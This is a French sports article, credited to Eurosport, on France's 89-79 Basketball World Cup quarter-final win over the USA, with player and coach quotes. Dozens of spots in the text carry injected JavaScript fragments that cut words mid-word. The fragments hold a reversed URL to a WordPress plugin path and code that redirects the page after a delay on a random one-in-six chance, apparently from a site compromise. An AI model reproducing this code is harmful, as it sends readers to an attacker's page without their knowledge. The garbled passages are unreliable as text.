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BASKETBALL: L’Amérique ne leur suffit pas, ils veulent le monde

COUPE DU MONDE – Auteurs d’un exploit monumental en quart de finale où ils ont battu les Etats-Unis (89-79), les joueurs de l’équipe de France ont savouré leur exploit comme il se toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doit. Mais les Bleus ne comptent pas s’arrêter là. Surtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tout pas.

Il n’y a pas eu d’effusion de joie. Ou si peu. Après toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tout, Gobert, Fournier et compagnie les côtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toient toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toute l’année. Et sont leurs égaux de l’autre côté de l’Atlantique. Il n’empêche : battre les Américains en quart de finale de la Coupe du monde, c’est quelque chose. D’autant que le Team USA n’avait plus mordu la poussière depuis treize ans en compétition officielle. Et qu’il n’avait plus été battu aussi tôt en compétition depuis 2002 et une défaite à la maison face à la Yougoslavie. Les Bleus ont été formidables de A à Z, malgré un petit trou, il est vrai, juste après la coupure. Celui-ci, heureusement, n’a rien coûté aux Tricolores, sinon un passage à -7 qui a ajouté un peu de sel au scénario, sans gâcher l’épilogue. Bien au contraire.

Evan Fournier, qui traine ses guêtres en NBA depuis 2012, n’est pas venu en Chine pour courber l’échine. Il ne l’a pas fait, pas plus que ses coéquipiers. Et les Bleus ont accroché les Américains à leur tableau de chasse. Mais ce n’est qu’une première étape. Pas la dernière. Surtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tout pas. Parce que l’Amérique, c’est bien. Mais les Bleus veulent conquérir le monde. Ni plus. Ni moins.

Evan Fournier face aux USA

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“Depuis le début de la compétition, on dit qu’on est venus pour gagner. On a fait une énorme erreur en 2014 après le match contre l’Espagne. On ne veut pas refaire la même (ndlr : les Bleus avaient été battus en demie). On a montré ce soir beaucoup de détermination. Ça a été très dur lorsque qu’ils sont repassés devant, on a été courts physiquement”, a-t-il confié sur l’antenne de Canal Plus. Courts physiquement mais forts mentalement. Et, plus que toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tout, appliqués défensivement. Aux antipodes du match de l’Australie où les joueurs de Vincent Collet avaient encaissé 100 points. “On s’est défendus comme des chiens. C’est pour ça qu’on a gagné. On est là pour défendre, c’est ce qu’on a fait ce soir. Il faut qu’on soit des chiens sur le terrain, c’est comme ça qu’on sera champions du monde”, a ajouté Evan Fournier.

” C’est la meilleure équipe de France que j’aie vue “

Auteur de shoots importantissimes dans le money-time, Frank Ntilikina n’a pas dit autre chose. Il fallait effacer l’accroc australien. Ils l’ont fait. Pour aller au bout. “C’est beaucoup d’émotion. On était prêts pour ce match, peu importe que ce soit les USA ou quelqu’un d’autre. On voulait se racheter. Comme a dit Evan, on a des chiens dans l’équipe. Ce n’est pas fini, il faut être fort mentalement, a lancé le meneur des New York KnicksCe sont beaucoup d’émotions mais on veut aller au bout, vite se reconcentrer sur la suite de la compétition. On a un groupe très soudé, très confiant. On sait qu’on peut aller au bout, comme on peut perdre un match. On va toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tout toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donner pour gagner la compétition”. Rendez-vous vendredi face à l’Argentine. Pour l’avant-dernière marche.

“On est venu ici pour l’or. On savait que cela ne serait pas simple. Beaucoup de gens, d’ailleurs, nous voyaient sortir mais on a gagné“, a de son côté savouré Gobert, gigantesque au possible face aux USA. “J’en ai rêvé depuis longtemps. Avant le match, j’ai dit aux gars qu’on aurait peut-être pas cette occasion une autre fois. Cela ne servira à rien si l’on ne va pas au bout… mais il est certain que c’est l’une des plus grtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ands victoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toires de ma carrière et de l’histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toire du basketball français.”

Gregg Popovich n’est pas devin. Il ne sait pas si les Bleus iront au bout. Mais il a “apprécié” ce qu’il a vu. Et, pour lui, c’est de bon augure pour ses bourreaux du soir. “Coach Collet et son groupe ont fait un travail exceptionnel, a concédé l’entraîneur du Team USA. C’est la meilleure équipe de France que j’aie vue car elle joue bien des deux côtés du terrain. Ce n’est pas seulement une équipe qui joue bien offensivement. Mais défensivement, individuellement comme collectivement, ils sont là. Ils sont physiques, ils ont swtiché, défendu sur le côté faible et pris les rebonds. En plus, ils ont de la profondeur sur le banc. Ils ont été magnifiques ce soir.” Encore deux comme ça…

Source: Eurosport

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